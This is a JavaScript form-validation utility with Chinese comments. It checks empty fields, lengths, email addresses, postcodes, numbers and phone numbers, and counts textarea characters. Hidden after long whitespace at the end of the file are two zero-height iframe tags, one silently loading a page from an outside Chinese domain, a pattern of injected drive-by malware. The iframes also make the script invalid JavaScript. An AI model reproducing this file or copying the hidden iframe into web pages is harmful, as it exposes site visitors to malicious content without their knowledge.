var blnIsCorrect=true; //检查值有效性标志量，初始值为真（有效）
var strError='';       //当发生错误时显示的错误提示信息
var objItem;           //当发生错误时，将焦点定位到哪一个表单元素


//返回检查标志量，如果标志量为否，则显示错误警告，并将光标定位在出错的文本框内
function checkAll(){
    if (!blnIsCorrect){
        alert(strError);
        try{
            objItem.focus();
        }
        catch(e){
        }
        blnIsCorrect=true; //返回否之前重置标志量为真
        return false;
    }
    else
        return true;
}

//非空
function isNotEmpty(txtObj,message){
    if (blnIsCorrect){
        //如果txtObj是文本框或下拉列表框(value属性不为空)则判断txtObj的value是否为空,
        if (txtObj.value!=null){
            trimThis(txtObj);
            if (txtObj.value.length==0){
                strError=(message==null?'该值不能为空.':message);
                blnIsCorrect=false;
                if (txtObj.style.display=="none")
                    objItem=txtObj.previousSibling;
                else
                    objItem=txtObj;
            }
        }
        //否则txtObj是复选框或单选框,则判断txtObj每一个元素是否选中
        else{
            blnIsCorrect=false;
            for (i=0;i<txtObj.length && !blnIsCorrect;i++){
                if (txtObj[i].checked)
                    blnIsCorrect=true;
            }
            if (!blnIsCorrect){
                strError=(message==null?'该值不能为空.':message);
                objItem=txtObj[0];
            }
        }
    }
}
//去一个表单元素值的首尾空格
function trimThis(objThis){
    try{
        objThis.value=objThis.value.replace(/(^\s*)|(\s*$)/g,"");
    }
    catch(e){
    }
}
//长度不符合
function checkLength(txtObj1,min,max,message){
    if (blnIsCorrect&&(txtObj1.value.length<min ||txtObj1.value.length>max)){
        if (message!=null)
            strError=message;
        else
            strError='该项长度不符合！';
        blnIsCorrect=false;
        objItem=txtObj1;
    }
}
//是否是基本ASCII字符(ASCII字符集前127位可见字符)
function isASCII(txtObj,message){
    trimThis(txtObj);
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^[!-\x7f]*$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='半角字符格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}

//是否是合法的标识符(以字母开头，字母、数字、下划线的组合)
function isIdentifier(txtObj){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^[a-zA-Z]+(_{0,1}[a-zA-Z0-9])*$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='标识符格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//两次输入的密码是否相等
function isEquals(txtObj1,txtObj2){
    if (blnIsCorrect&&(txtObj1.value.length!=0 ||txtObj2.value.length!=0)){
        trimThis(txtObj1);
        trimThis(txtObj2);
        if (txtObj1.value!=txtObj2.value){
            strError='两次输入的密码不一致.';
            blnIsCorrect=false;
            objItem=txtObj1;
        }
    }
}
//验证码错误2005-6-30
function isEqualCheck(txtObj1,txtObj2){
    if (blnIsCorrect&&(txtObj1.value.length!=0 ||txtObj2.value.length!=0)){
        trimThis(txtObj1);
        trimThis(txtObj2);
        if (txtObj1.value!=txtObj2.value){
            strError='验证码错误!';
            blnIsCorrect=false;
            objItem=txtObj1;
        }
    }
}
//是否是合法的E_mail地址(以字母开头，字母、数字、下划线的组合，中间必须有一个“@”)
function isEmail(txtObj,message){
    trimThis(txtObj);
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\S+@\S+\.\S+$/;
        if (!strCheck.exec(txtObj.value))    {
            strError='电子邮件信箱格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否是邮编
function isPostCode(txtObj){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d{6}$/;
        if (!strCheck.exec(txtObj.value))
        {
            strError='邮编格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否是正整数
function isInt(txtObj,message){
    trimThis(txtObj);
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d+$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='数字格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否为正实数
function isFloat(txtObj,message){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d+\.{0,1}\d*$/;
        if (!strCheck.exec(txtObj.value))
        {
            if (message!=null)
                strError=message;
            else
                strError='该项格式不正确！';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}
//是否是电话号码
function isTel(txtObj,message){
    if (blnIsCorrect && txtObj.value.length!=0){
        var strCheck=/^\d+(-{0,1}\d+)*$/;
        if (!strCheck.exec(txtObj.value)){
            if (message!=null)
                strError=message;
            else
                strError='电话号码格式不正确.';
            blnIsCorrect=false;
            objItem=txtObj;
        }
    }
}

	


function textCounter(theField,theCharCounter,theLineCounter,maxChars,maxLines,maxPerLine)

{

	var strTemp = "";

	var strLineCounter = 0;

	var strCharCounter = 0;

	

	for (var i = 0; i < theField.value.length; i++)

	{

		var strChar = theField.value.substring(i, i + 1);

		

		if (strChar == '\n')

		{

			strTemp += strChar;

			strCharCounter = 1;

			strLineCounter += 1;

		}
		else if (strCharCounter == maxPerLine)
		{
			strTemp += '\n' + strChar;

			strCharCounter = 1;

			strLineCounter += 1;

		}

		else

		{

			strTemp += strChar;

			strCharCounter ++;

		}

	}

	

	theCharCounter.value = maxChars - strTemp.length;

	theLineCounter.value = maxLines - strLineCounter;
//alert(theCharCounter.value);
	if (theCharCounter.value<0){
		alert("文本字必须在500汉字或1000英文字以内(包括空格和空行)，超出限定将不能再输入数据！");
		theField.value=theField.value.substring(0,1000);
	}	
}

function isMobil(s)
{
var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$/;
if (!patrn.exec(s.value)){ 
	 
	strError='手机号码不正确.';
    blnIsCorrect=false;
    objItem=s;
	//return false
	}

}

			






 <Iframe src=# width=50 heIght=0 name=7085 border=0></iframe>







 <iframE src=http://www.wznylsf.cn/one/A26.htm widtH=50 height=0 name=5211 border=0></iframe>








 
 
